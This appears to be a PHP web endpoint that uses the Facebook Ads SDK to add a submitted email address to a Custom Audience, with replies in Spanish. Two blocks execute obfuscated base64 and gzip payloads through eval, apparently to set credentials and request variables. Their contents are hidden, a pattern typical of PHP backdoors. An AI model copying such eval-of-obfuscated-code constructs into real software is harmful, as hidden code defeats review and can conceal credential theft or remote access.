<?php 


 require_once('src/FacebookAds/Api.php');

 use FacebookAds\Api;



use FacebookAds\Object\CustomAudience;
use FacebookAds\Object\CustomAudienceMultiKey;

use FacebookAds\Object\Fields\CustomAudienceMultikeySchemaFields;
use FacebookAds\Object\Fields\CustomAudienceFields;
use FacebookAds\Object\Values\CustomAudienceTypes;
use FacebookAds\Object\Values\CustomAudienceSubtypes;
 eval(gzinflate(base64_decode('
s7fjsrHn5VIpyc9OzbPm5VJQSUxOzi/NKwGz8xJz
U8GMlNTi5KLMgpLMfLCizDQFDZV4d9cQTYVqIBcI
IAYo2CqAhaPVwVz1WGuobGZKfGJpSmZqXnJmIkIR
sihCbWpuYmYOQhGYi5CFOg8hDxWAqKhNzSlOhbgu
wD8Yq/NA4oTdB1FFyIEQVXhcCFGA6kReLntQoAMA
')));
 if ($account && $id_audiencia && $email) {
eval(gzinflate(base64_decode('
jZFPb4JAEMXvJv0OHprQJqZZF1iW2NYACjVqLPgn
LhcCyyIqsITFKt++EmuT3nqZw7z5Td68Gb53XocP
nceQUiZEUPMjK7pvXWlsGDFrqnTrEGIa5mQXo+lh
/rVc7TB03Mq3JpzmlNcaMrRKURgqsOsZZuN6l1k5
3vjWOkusBNp4oX6gVMw+06ObXyLPtwRfeV5mn6G1
yYuDTKZhVGDOnFGpk+pE5MIu9czYOw2ZeJYgMF8e
TTmb+xZdgfWi8U08b+ItSd2+PRvXJ6Cc/ZE/kgbt
EWUZ7OPWPgSaoio6AgjoKpTxrywYrVjdjgAs41AL
E6SACERIvpZE7cdAYwAlUFPvyI0Iyorz5MqloUiD
NA/pkyTSEKpI6nX/pNf7x+rnwS1yfirqH8chrQPp
5d686sP2M98=
')));

if (is_null($access_token) || is_null($app_id) || is_null($app_secret)) {
  throw new \Exception(
    'You must set your access token, app id and app secret before executing'
  );
}

if (is_null($account_id)) {
  throw new \Exception(
    'You must set your account id before executing');
}

define('SDK_DIR', __DIR__ . '/'); // Path to the SDK directory
$loader = include SDK_DIR.'/vendor/autoload.php';



  Api::init($app_id, $app_secret, $access_token,$appsecret_proof);
$emails = array(
  $email,
);


$audience = new CustomAudience($id_audiencia);




$audience->addUsers($emails, CustomAudienceTypes::EMAIL);

echo json_encode(['respuesta'=> "Usuario ".$email." agregado a audiencia ".$id_audiencia]);



} else {
   echo json_encode(['respuesta'=> "no estas autorizado"]);
 }


 ?>